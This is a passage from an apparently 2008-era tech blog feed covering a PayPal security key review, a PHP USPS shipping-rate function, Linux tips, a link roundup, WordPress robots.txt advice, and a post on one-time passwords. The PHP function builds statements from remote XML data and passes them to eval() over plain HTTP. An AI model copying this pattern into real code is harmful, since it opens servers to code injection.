&lt;p&gt;I love knowing the fact that someone on the internet can have full knowledge of my username and password and still not be able to log into my Paypal or Ebay account.  Another thing that I like is that as a side effect the device protects against phishing attempts.  If a phishing site masquerading as Paypal attempts to ask for my username or password without also asking for my security key I will know right away.  This alerts me and sends a red flag, Don&amp;rsquo;t enter any personal information into this site.  If I accidentally type my username or password into the phishing site it wont matter because in order to log into successfully to my Paypal account that attacker would need both the login credentials and the physical Paypal security device in their possession.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/05/landinggraphic2.jpg&#34; alt=&#34;Paypal SecurityKey&#34; /&gt;The device is a little smaller than I expected which is a good thing.  It is small enough to attach to a key chain.  What I did was attach it to a lanyard that also carries my USB thumbdrive.&lt;/p&gt;

&lt;p&gt;The Paypal SecurityKey is cheaper than Verisign&amp;rsquo;s SecurityKey, which is another reason to like it.  Paypal is actually subsidizing this device and losing money on the deal.  They offer the device for only $5.00. These devices purchased &lt;a href=&#34;https://idprotect.verisign.com/orderstart.v&#34;&gt;directly from Verisign&lt;/a&gt; are $30.00.  I think the $5.00 charge is there to make sure we actually use the device if we get it.&lt;/p&gt;

&lt;h3&gt;Where I can use it&lt;/h3&gt;

&lt;p&gt;The cool thing about the Paypal SecurityKey is that it is actually a Verisign SecurityKey (for a lot cheaper).  This means that the device can be used anywhere that Verisign keys are accepted.  As we know Paypal is owned by Ebay so naturally you can use your PayPal Security with Ebay at no extra cost, which is cool.  Ebay and Paypal are probably the most attacked and targeted sites for phishing and exploit attacks.  Having the extra layer of protection that this device provides is especially useful for these sites.&lt;/p&gt;

&lt;p&gt;You can also use the Paypal SecurityKey anywhere that supports the OpenID authentication system.  There are a number of sites that support OpenID one of which is Verisign.  They have their own OpenID site.  If you haven&amp;rsquo;t checked out &lt;a href=&#34;http://www.openid.net&#34;&gt;OpenID&lt;/a&gt; you should.  I just wish OpenID was supported by more web services.&lt;/p&gt;

&lt;h3&gt;Use the Same Technology for Free&lt;/h3&gt;

&lt;p&gt;If you want to use this multi-function authentication system offered by Paypal, Ebay, OpenID and others but not sure you want to pay the $5.00 you can add the Verisign program to your existing USB thumbdrive.  Currently it looks like the program only works on sandisk drives that use the U3 technology.  You can download the program from &lt;a href=&#34;https://idprotect.verisign.com/sandiskagreement.v&#34;&gt;Verisign&amp;rsquo;s Identity Protection Center&lt;/a&gt;.  I personally can&amp;rsquo;t stand the U3 technology and &lt;a href=&#34;/howto/removing-u3-on-sandisk-flash-drives/&#34;&gt;remove it from all of my thumbdrives&lt;/a&gt;, so I haven&amp;rsquo;t had a chance to actually try Verisign&amp;rsquo;s U3 program.  If anyone tries it please comment below and let us know how the installation went and the ease of use.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Calculating USPS Shipping Rates with PHP</title>
		<link href="https://www.marksanborn.net/php/calculating-usps-shipping-rates-with-php/index.html" />
		<updated>2008-05-14T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/calculating-usps-shipping-rates-with-php/index.html</id>
		<content type="html">&lt;div class=&#34;alert alert-info&#34;&gt;
&lt;strong&gt;Update:&lt;/strong&gt; For a no fuss, 100% complete USPS script with label printing support, integration and support, I have created, &lt;a href=&#34;https://rocketshipit.com/?utm_source=msnet&amp;utm_medium=link&amp;utm_campaign=blog&#34;&gt;RocketShipIt&lt;/a&gt;.
&lt;/div&gt;

&lt;p&gt;If you have a custom shopping cart and you want to calculate actual shipping rates from USPS this is the post for you.  After giving up searching the internet for PHP scripts or examples of implementing USPS rates I decided to create my own.  I hope that by the end of this post you will have an understanding of the process and you can begin implementing USPS rates in your own website.&lt;/p&gt;

&lt;p&gt;The function discussed below is used for communicating with the United States Postal Service (USPS).  If you are looking for the United Postal Service (UPS) function see,  &lt;a href=&#34;/php/calculating-ups-shipping-rate-with-php/&#34;&gt;Calculating UPS Shipping Rate with PHP&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;After looking through the USPS rates manual I begain to try and create a working script.  None of the examples in the manual worked for me so I called them up.  They ended up just moving my account from testing to production.  If you are just starting out I would suggest you call them and start mentioning how their examples didn&amp;rsquo;t produce the same results and you are attempting to create an application using their API.&lt;/p&gt;

&lt;p&gt;When I called USPS the lady on the phone said, &amp;ldquo;I don&amp;rsquo;t know what you are talking about.  I&amp;rsquo;ll just move your account to production&amp;rdquo;.  Once I was moved to the production server all of the examples in the user manual worked and I was on my way to creating my very own implementation of the USPS rates API.&lt;/p&gt;

&lt;p&gt;I am still not sure why they provide a testing server if it doesn&amp;rsquo;t work the same way as the production server.&lt;/p&gt;

&lt;p&gt;You may wish to grab a copy of the &lt;a href=&#34;http://www.usps.com/webtools/_pdf/Rate-Calculators-v1-2.pdf&#34;&gt;USPS Rates Manual&lt;/a&gt; for yourself.&lt;/p&gt;

&lt;h3&gt;Things you Need&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;USPS Webtools Account&lt;/strong&gt; - free but requires &lt;a href=&#34;https://secure.shippingapis.com/registration/&#34;&gt;registration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;USPS Username&lt;/strong&gt; - Comes with the Webtools account&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;cURL&lt;/strong&gt; - Most LAMP (Linux, Apache, Mysql, PHP) web hosts have this installed by default.  If you are not sure you have this installed on your server you can use the &lt;a href=&#34;/wp-content/uploads/2008/05/serverReporter.php&#34;&gt;serverReporter script&lt;/a&gt;.  Just copy and paste the file upload to your webserver and view it.  Go &lt;a href=&#34;http://blog.jeremymartin.name/2008/04/know-your-environment-php-server-module.html&#34;&gt;here&lt;/a&gt; if you want to know more about the serverReporter.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP&lt;/strong&gt; - You should know a little bit about using PHP. After all you are about to create a custom USPS shipping calculator.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;XML&lt;/strong&gt; - If you know what PHP is you should know what XML is.  You should at least know how &lt;a href=&#34;http://en.wikipedia.org/wiki/XML&#34;&gt;XML&lt;/a&gt; works in a nutshell.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SSH access&lt;/strong&gt; - Many web hosts offer SSH. You don’t HAVE to have it but it can make troubleshooting easier.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;USPS Service Codes&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;FIRST CLASS&lt;/li&gt;
&lt;li&gt;PRIORITY&lt;/li&gt;
&lt;li&gt;EXPRESS&lt;/li&gt;
&lt;li&gt;BPM&lt;/li&gt;
&lt;li&gt;PARCEL&lt;/li&gt;
&lt;li&gt;MEDIA&lt;/li&gt;
&lt;li&gt;LIBRARY&lt;/li&gt;
&lt;li&gt;ALL&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Required XML Tags to Complete a Rate Request&lt;/h3&gt;

&lt;p&gt;The USPS API requires cetain XML tags in the request before it will start its rate calculations.  If you fail to provide the required tags USPS will return with an error code.  I have provided the required XML tags for you.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;RateV3Request - Required Once&lt;/li&gt;
&lt;li&gt;RateV3Request/USERID - Required&lt;/li&gt;
&lt;li&gt;RateV3Request/Package - Required&lt;/li&gt;
&lt;li&gt;RateV3Request/Package/Service - Required&lt;/li&gt;
&lt;li&gt;RateV3Request/Package/ZipOrigination - Required Once&lt;/li&gt;
&lt;li&gt;RateV3Request/Package/Pounds - Required Once (if it weighs less than a lb use &amp;lsquo;0&amp;rsquo; Max: 70lbs)&lt;/li&gt;
&lt;li&gt;RateV3Request/Package/Ounces - Required (use &amp;lsquo;0&amp;rsquo; if you don&amp;rsquo;t use ounces)&lt;/li&gt;
&lt;li&gt;RateV3Request/Package/Size - Required (LARGE,REGULAR,OVERSIZE)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Simple XML Request Example&lt;/h3&gt;

&lt;p&gt;A barebones request was taken straight from the USPS manual.  It is a simple XML file that needs to be posted to the USPS server.  As you can see it contains all the required XML tags.  Of course you will need to change the USERID to your actual USERID that you got from &lt;a href=&#34;https://secure.shippingapis.com/registration/&#34;&gt;registering&lt;/a&gt; with USPS.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;RateV3Request USERID=&amp;quot;000AAAAA9999&amp;quot;&amp;gt; 
&amp;lt;Package ID=&amp;quot;1ST&amp;quot;&amp;gt; 
   &amp;lt;Service&amp;gt;FIRST CLASS&amp;lt;/Service&amp;gt; 
   &amp;lt;FirstClassMailType&amp;gt;LETTER&amp;lt;/FirstClassMailType&amp;gt;
   &amp;lt;ZipOrigination&amp;gt;44106&amp;lt;/ZipOrigination&amp;gt; 
   &amp;lt;ZipDestination&amp;gt;90210&amp;lt;/ZipDestination&amp;gt; 
   &amp;lt;Pounds&amp;gt;0&amp;lt;/Pounds&amp;gt; 
   &amp;lt;Ounces&amp;gt;0.75&amp;lt;/Ounces&amp;gt; 
   &amp;lt;Size&amp;gt;REGULAR&amp;lt;/Size&amp;gt; 
   &amp;lt;Machinable&amp;gt;false&amp;lt;/Machinable&amp;gt; 
&amp;lt;/Package&amp;gt;
&amp;lt;/RateV3Request&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;If you noticed there was only one package included in this request.  The USPS API allows multiple packages in one XML request.  To lighten the load and time it takes to generate rates for multiple packages it is recommended that you send a single XML request with multiple packages as opposed to sending multiple XML requests for single packages.&lt;/p&gt;

&lt;p&gt;You can add more packages to the code by adding another XML package set:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;Package ID=&amp;quot;2nd&amp;quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;The USPS Rate Calculator PHP Function&lt;/h3&gt;

&lt;p&gt;Finally, the code that you have all been waiting for.  This is the PHP function that will return the USPS rate as a decimal value for use in displaying or calculating the shipping cost and final charge to the customer.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
function USPSParcelRate($weight,$dest_zip) {

// This script was written by Mark Sanborn at https://www.marksanborn.net  
// If this script benefits you are your business please consider a donation  
// You can donate at https://www.marksanborn.net/donate.  

// ========== CHANGE THESE VALUES TO MATCH YOUR OWN ===========

$userName = &#39;username&#39;; // Your USPS Username
$orig_zip = &#39;12345&#39;; // Zipcode you are shipping FROM

// =============== DON&#39;T CHANGE BELOW THIS LINE ===============

$url = &amp;quot;http://Production.ShippingAPIs.com/ShippingAPI.dll&amp;quot;;
$ch = curl_init();

// set the target url
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

// parameters to post
curl_setopt($ch, CURLOPT_POST, 1);

$data = &amp;quot;API=RateV3&amp;amp;XML=&amp;lt;RateV3Request USERID=\&amp;quot;$userName\&amp;quot;&amp;gt;&amp;lt;Package ID=\&amp;quot;1ST\&amp;quot;&amp;gt;&amp;lt;Service&amp;gt;PRIORITY&amp;lt;/Service&amp;gt;&amp;lt;ZipOrigination&amp;gt;$orig_zip&amp;lt;/ZipOrigination&amp;gt;&amp;lt;ZipDestination&amp;gt;$dest_zip&amp;lt;/ZipDestination&amp;gt;&amp;lt;Pounds&amp;gt;$weight&amp;lt;/Pounds&amp;gt;&amp;lt;Ounces&amp;gt;0&amp;lt;/Ounces&amp;gt;&amp;lt;Size&amp;gt;REGULAR&amp;lt;/Size&amp;gt;&amp;lt;Machinable&amp;gt;TRUE&amp;lt;/Machinable&amp;gt;&amp;lt;/Package&amp;gt;&amp;lt;/RateV3Request&amp;gt;&amp;quot;;

// send the POST values to USPS
curl_setopt($ch, CURLOPT_POSTFIELDS,$data);

$result=curl_exec ($ch);
$data = strstr($result, &#39;&amp;lt;?&#39;);
// echo &#39;&amp;lt;!-- &#39;. $data. &#39; --&amp;gt;&#39;; // Uncomment to show XML in comments
$xml_parser = xml_parser_create();
xml_parse_into_struct($xml_parser, $data, $vals, $index);
xml_parser_free($xml_parser);
$params = array();
$level = array();
foreach ($vals as $xml_elem) {
    if ($xml_elem[&#39;type&#39;] == &#39;open&#39;) {
        if (array_key_exists(&#39;attributes&#39;,$xml_elem)) {
            list($level[$xml_elem[&#39;level&#39;]],$extra) = array_values($xml_elem[&#39;attributes&#39;]);
        } else {
        $level[$xml_elem[&#39;level&#39;]] = $xml_elem[&#39;tag&#39;];
        }
    }
    if ($xml_elem[&#39;type&#39;] == &#39;complete&#39;) {
    $start_level = 1;
    $php_stmt = &#39;$params&#39;;
    while($start_level &amp;lt; $xml_elem[&#39;level&#39;]) {
        $php_stmt .= &#39;[$level[&#39;.$start_level.&#39;]]&#39;;
        $start_level++;
    }
    $php_stmt .= &#39;[$xml_elem[\&#39;tag\&#39;]] = $xml_elem[\&#39;value\&#39;];&#39;;
    eval($php_stmt);
    }
}
curl_close($ch);
// echo &#39;&amp;lt;pre&amp;gt;&#39;; print_r($params); echo&#39;&amp;lt;/pre&amp;gt;&#39;; // Uncomment to see xml tags
return $params[&#39;RATEV3RESPONSE&#39;][&#39;1ST&#39;][&#39;1&#39;][&#39;RATE&#39;];
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;I have created a &lt;a href=&#34;/wp-content/uploads/2008/05/rateCompare.php&#34;&gt;working model&lt;/a&gt; of the rates calculation that will compare rates between USPS and UPS.&lt;/p&gt;

&lt;p&gt;To use the function you use the following format:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;USPSParcelRate($weight,$dest_zip)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;An example of this being called on your website would be:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;echo USPSParcelRate(3,90210);
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Troubleshooting&lt;/h3&gt;

&lt;p&gt;If you are not recieving a rate from the USPS servers you need to check what error message they gave.  My script will output the entire XML response in html comment tags.  This will allow you to view any errors generated by the USPS API.  To view this you will need to uncomment the lines specified in the function and simply click view source in your browser and look for the XML data.&lt;/p&gt;

&lt;h3&gt;Future Versions and More&lt;/h3&gt;

&lt;p&gt;I plan to create a more intricate version that will have many more options.  Instead of being a simple function it will be a complete rate calculation tool.  I plan to eventually create a framework that allows developers an easy and quick way to develop entire full feature shipping modules.  The current open source shopping projects in my opinion are very lacking and do not really allow the users complete control to integrate with their own systems or systems that are already in place.  The current solutions are more like a pre-built website with a shipping module.  My framework would be for those who wish to create their own shipping systems or integrate with an existing one.&lt;/p&gt;

&lt;p&gt;So, what would you like to see in a framework?  What options and configurations would you like to see?  Please leave a comment below.&lt;/p&gt;

&lt;p&gt;Also stay tuned for my post about how I created a script that calculates how many widgets will fit in a box before having to add another box to the shipping total.  Many sites will end up charging the customer one package for the total weight of the cart.  Other times they will charge as if each widget was shipped in its own box.  I will discuss why each of these methods are flawed and how I found a solution.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>5 Things you Need to Know When Switching to Linux</title>
		<link href="https://www.marksanborn.net/uncategorized/5-things-you-need-to-know-when-switching-to-linux/index.html" />
		<updated>2008-05-12T00:00:00Z</updated>
		<id>https://www.marksanborn.net/uncategorized/5-things-you-need-to-know-when-switching-to-linux/index.html</id>
		<content type="html">&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Everything in Linux is a file&lt;/strong&gt;, even your hard drives. (dev/hda1)  No c:/ stuff.  Linux is based on a directory system which is all contained in &amp;lsquo;&lt;strong&gt;/&lt;/strong&gt;&amp;rsquo;, aka root.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The &amp;lsquo;slash&amp;rsquo; is very important, for example, /mnt will start at / and look for mnt.  If you type mnt/file it will look in the current directory that you are in for the folder &amp;lsquo;mnt&amp;rsquo; and the file &amp;lsquo;file&amp;rsquo;.  This was very confusing for someone that isn&amp;rsquo;t used to typing paths into the command line.  Windows users are used to typing c:/ for the root directory so they may forget that / is the top level.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;All configurations are done in text files.&lt;/strong&gt;  /etc/file and ~/.files.  Get used to editing text for configuration.  When you get used to it you will be far more productive.  You will wonder why you ever had to navigate through screen after screen and tab after tab to find an obscure check box.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;All log files are stored in text files as well.  This is awesome compared to the way Windows does it because you can create your own programs easily to search and decipher the logs.  No longer have to deal with complex APIs and other Windows garbage.  It&amp;rsquo;s just text!&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Linux is built upon many small programs&lt;/strong&gt; that do a very simple task.  These programs are extremely specific.  They do exactly what they were written to do and nothing more.  For example, in Linux there is a program that opens and closes the CD-ROM.  Thats it!  Many times they are tweaked to be so efficient that there is no need to rebuild it.  The Linux philosophy is to incorporate smaller programs into larger ones.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A perfect example of this would be the popular burning program, k3b.  K3b is really only a front end GUI for many small programs.  It uses, growisofs, cdrtools, cdrdao, dvd+rwtools, etc&amp;hellip; If you wanted to create an automated script that burns a DVD after it is done copying, you can issue one short command.&lt;/p&gt;

&lt;p&gt;The only problem with building upon smaller programs is that you need to have all the smaller programs or the larger one doesn&amp;rsquo;t work (obviously).  If k3b is missing cdrtools you wont be doing much burning.  These smaller programs are called dependencies.  These days there aren&amp;rsquo;t many problems with dependencies any more because of package management programs.  Package management tools will ensure that all of the programs that k3b requires are downloaded installed and configured properly.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Everything in Linux is case sensitive&lt;/strong&gt;.  /path/to/File is not the same as /path/to/file.  Linux tends to be exact, &amp;lsquo;a&amp;rsquo; and &amp;lsquo;A&amp;rsquo; are represented by completely different ascii codes.  Historically, MS-DOS only used uppercase to represent filenames. In an attempt to allow lowercase while retaining backward compatibility, Windows 95 introduced LFNs (Long File Name) into the FAT filesystem. LFN allowed filenames longer than the MS-DOS 8.3, and in an effort to keep things uncomplicated, made no distinction between upper and lower case letters.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;One benefit to having case sensitive commands is the ability to support commands that require many flags like, &amp;lsquo;&lt;strong&gt;command -a -A -r -R&lt;/strong&gt;&amp;rsquo;.  Another reason why case sensitive is supieror is because it is much faster at sorting.  Case sensitivity also ensures that all commands will documented consistantly.  If a specific command is represented as LS in one script it will have to also be used as LS in another.  Using Ls will simply not work.  Any programmer will tell you how important consistancy is.  Since Linux was built for programmers in mind this makes sense.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Hidden files or folders start with a dot&lt;/strong&gt;. Many times these are profile or settings text files.  In your home directory you may have a file like, &amp;lsquo;.bashrc&amp;rsquo;.  This is the settings for your bash profile.  To view hidden files from the command line you can execute the all command.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;ls -a&lt;/code&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Weekend Link Roundup: Week 7</title>
		<link href="https://www.marksanborn.net/uncategorized/weekend-link-roundup-week-7/index.html" />
		<updated>2008-05-11T00:00:00Z</updated>
		<id>https://www.marksanborn.net/uncategorized/weekend-link-roundup-week-7/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://www.msnbc.msn.com/id/24510864/&#34;&gt;Hackers try to cause seizures on epilepsy site&lt;/a&gt; - Wow&amp;hellip; just, wow&amp;hellip;  Computer security may now be life threatening.  This is a very scary.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://dev.compiz-fusion.org/~onestone/blog/?p=10&#34;&gt;Compiz Fusion Truly Spherical Desktop View Arrives!&lt;/a&gt; -  Another cool effect is released for Compiz.  This one is kinda cool.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://arstechnica.com/reviews/os/hardy-heron-review.ars&#34;&gt;The heron has landed: a review of Ubuntu 8.04&lt;/a&gt; - A nice review on the latest version of Ubuntu.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://download.openoffice.org/3.0beta/&#34;&gt;OpenOffice.org 3.0 Beta&lt;/a&gt; - The newest version of OpenOffice is available as Beta version.  It comes a with a bunch of new features including, support for Max OSX, the newest Open Document Format, and Microsoft Office 2007 support.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/05/80px-cacti.png&#34; alt=&#34;Cacti&#34; /&gt;&lt;a href=&#34;http://www.cacti.net/&#34;&gt;http://www.cacti.net/&lt;/a&gt; - This is the best network graphing/monitoring program that I have come across.  If you ever want to know what kind of traffic is taking up bandwidth on your network check this out.  Its free and open source too!&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.ce-infosys.com/english/downloads/free_compusec/index.html&#34;&gt;Free CompuSec&lt;/a&gt; - A cool free full drive encryption utility that can be turned on pre-boot.  It uses the Rijndahl cipher so you can rest assure that nobody will be able to use/modify your data.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://blog.wired.com/27bstroke6/2008/05/how-much-file-s.html&#34;&gt;How Much File Sharing Traffic Travels the Net?&lt;/a&gt; - An interesting article showing you what percentages of the pipe are taken up by file sharing programs.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://nedbatchelder.com/blog/200805/css_homer_animated.html&#34;&gt;Homer Simpson drawn in CSS&lt;/a&gt; - This is crazy.  An entire image of Homer drawn up entirely with CSS.  The author must have been really bored as this would have taken some serious time.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Duplicate Content Causes SEO Problems in Wordpress</title>
		<link href="https://www.marksanborn.net/seo/duplicate-content-causes-seo-problems-in-wordpress/index.html" />
		<updated>2008-05-09T00:00:00Z</updated>
		<id>https://www.marksanborn.net/seo/duplicate-content-causes-seo-problems-in-wordpress/index.html</id>
		<content type="html">&lt;p&gt;Wordpress by default is very un-search engine friendly.  There are many places where content is the same yet the URL is different.  Google recognizes this as duplicate content.&lt;/p&gt;

&lt;p&gt;Modern search engines like Google penalize for duplicate content.  They do this because they want to give credit to the original author and keep spammers or copiers from getting page rank.  They also do this to separate actual content and navigation/sidebar/ and other text that is not ranked as higher value.  This all helps Google provide better search results.&lt;/p&gt;

&lt;h3&gt;So whats the big deal?&lt;/h3&gt;

&lt;p&gt;Here is a direct quote from Google&amp;rsquo;s FAQ: &lt;a href=&#34;http://www.google.com/support/webmasters/bin/answer.py?answer=40349&amp;amp;ctx=related&#34;&gt;How can I create a Google-friendly site?&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Don&amp;rsquo;t create multiple copies of a page under different URLs. Many sites offer text-only or printer-friendly versions of pages that contain the same content as the corresponding graphic-rich pages. To ensure that your preferred page is included in our search results, you&amp;rsquo;ll need to block duplicates from our spiders using a robots.txt file.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The problem is that your Wordpress blog by default will not rank well in Google&amp;rsquo;s search engines because of the duplication problem.  Fortunately Google and other search engines have provided us with a tool to inform their search engine spiders to ignore specific content.&lt;/p&gt;

&lt;p&gt;Let me give you a few examples of where Wordpress contains the same content throughout multiple URLs.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;www.yourblog.com&lt;/strong&gt; has by default that last 10 or so posts.  The &amp;ldquo;original content&amp;rdquo; maybe in this URL: &lt;a href=&#34;http://www.yourblog.com/2008/04/title-of-story&#34;&gt;http://www.yourblog.com/2008/04/title-of-story&lt;/a&gt; , but is also on your home page.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;http://www.yourblog.com/2008/04/&#34;&gt;http://www.yourblog.com/2008/04/&lt;/a&gt;&lt;/strong&gt; - Your archive pages contain the same content as your main page with a date range.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;**&lt;a href=&#34;http://www.yourblog.com/category/category-name/&#34;&gt;http://www.yourblog.com/category/category-name/&lt;/a&gt; **- The same thing goes for your category pages.  Every post in the category-name category will be duplicated within this URL.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;http://www.yourblog.com/feed&#34;&gt;http://www.yourblog.com/feed&lt;/a&gt;&lt;/strong&gt; - All articles in their entirety are duplicated in all of the Wordpress default feeds.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;http://www.yourblog.com/search&#34;&gt;http://www.yourblog.com/search&lt;/a&gt;&lt;/strong&gt; - Of course all search results will also be duplicated content.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;As you can see these URLs are all different but contain the exact same content.  If you don&amp;rsquo;t want to be penalized by google you need to create a file at the root directory of your blog called, &amp;lsquo;&lt;strong&gt;robots.txt&lt;/strong&gt;&amp;rsquo;.  This is the file that search engine spiders will be looking for and this is where you specify the rules you want them to follow.&lt;/p&gt;

&lt;h3&gt;Robots.txt&lt;/h3&gt;

&lt;p&gt;The following robots.txt file will pretty much restrict search engine spiders from most of the duplication problems I can think of.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;User-agent: *
Disallow: /wp-
Disallow: /search
Disallow: /feed
Disallow: /comments/feed
Disallow: /feed/$
Disallow: /*/feed/$
Disallow: /*/feed/rss/$
Disallow: /*/trackback/$
Disallow: /*/*/feed/$
Disallow: /*/*/feed/rss/$
Disallow: /*/*/trackback/$
Disallow: /*/*/*/feed/$
Disallow: /*/*/*/feed/rss/$
Disallow: /*/*/*/trackback/$
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Since we want the bots to follow links in our category, archive pages and certainly the home page we will have to treat them differently.  We want search engine spiders to follow the links on these pages yet we don&amp;rsquo;t want the actual content indexed due to the duplication penalties.&lt;/p&gt;

&lt;p&gt;This code will tell the bots to follow links and ignore content.  Place this html code in your archive and category pages.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;meta name=&amp;quot;robots&amp;quot; content=&amp;quot;noindex,follow&amp;quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Another line of defense for fighting against duplication on these pages is to use the Wordpress &amp;lsquo;&lt;strong&gt;more&lt;/strong&gt;&amp;rsquo; function.  When you add the more function in your posts Wordpress will cut the article off at that point and offer the reader a &amp;ldquo;read more&amp;rdquo; link.  Not only does this help with duplication issues it will make navigating through articles much easier for your users.&lt;/p&gt;

&lt;p&gt;The more function:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;!-- more --&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Of course Google has many ways to determine page rank and how pages are indexed.  We can never be sure how Google weighs them and what other factors determine a page&amp;rsquo;s quality content.  So you may find a piece of content that is duplicated all over the internet but the original is still ranked high because of link popularity or other factors.&lt;/p&gt;

&lt;p&gt;Your entire website may also be a duplicate.  &lt;a href=&#34;/seo/duplicate-content-www-vs-non-www-canonical-problems/&#34;&gt;Check out, Duplicate Content www vs. non-www Canonical Problems&lt;/a&gt;.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Paypal Security Key for Multi-Factor Authentication</title>
		<link href="https://www.marksanborn.net/uncategorized/paypal-security-key-for-multi-factor-authentication/index.html" />
		<updated>2008-05-05T00:00:00Z</updated>
		<id>https://www.marksanborn.net/uncategorized/paypal-security-key-for-multi-factor-authentication/index.html</id>
		<content type="html">&lt;p&gt;After listening to an episode of the &lt;a href=&#34;http://www.grc.com/securitynow.htm&#34;&gt;Security Now Podcast&lt;/a&gt; I was fascinated by the idea of multi-factor authentication.  In the perfect paper password episode they discussed using one time passwords that were written on a credit card sized piece of paper.  Each time you log in you would have to supply both your password and a pseudo-random one time use password that is on your credit sized perfect paper password card.  The next time you logged in you would have to supply the next one time password from the card.  When all the passwords are used up you would print another card and start the process over.&lt;/p&gt;

&lt;p&gt;The strength in this lies in the fact that someone listening to authentication process knowing every detail about the process would not be able to utilize a replay attack.  That is, they would not be able to authenticate if they typed in your password and one time key.  This is because the key is exactly how it is written, one time use.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/05/landinggraphic2.jpg&#34; alt=&#34;Verisign Paypal Key&#34; /&gt;If someone were to find your paper with one time keys they would still not be able to log in because they do not have knowledge of your password.&lt;/p&gt;

&lt;p&gt;Although Steve Gibson from Security Now has a more secure implementation and full documentation on how to implement it, Verisign/Paypal have a similar proprietary system in place.  One of the major differences in their system is they don&amp;rsquo;t use a piece of paper but rather a digital device with keys that change based on time.  They are synced with the server and display a different key based on the current date and time.&lt;/p&gt;

&lt;p&gt;With security these days and the number of vulnerabilities I was excited to find out that Paypal offers the device for only $5.00.  These devices purchased directly from Verisign are $30.00 for the football shaped one and $48.00 for the credit card style.  The Paypal device is the exact same for a fraction of the price and worth every penny.  The best part of the whole thing is that the device can be used for all online services that use OpenID Authentication.&lt;/p&gt;

&lt;p&gt;Let me reiterate how cool this thing is.  Someone can have full knowledge of your password but still have no access without having this physical device in their hands.  On the flip side if you lose the device it is meaningless without knowledge of the account&amp;rsquo;s username and password.&lt;/p&gt;

&lt;p&gt;They only thing draw back is having to carry around the key chain size device around.  They do have a credit card style device but it is $48.00.  This would be much more convenient though because you can carry it in our wallet and most people carry their wallets around.&lt;/p&gt;

&lt;h3&gt;Create your own&lt;/h3&gt;

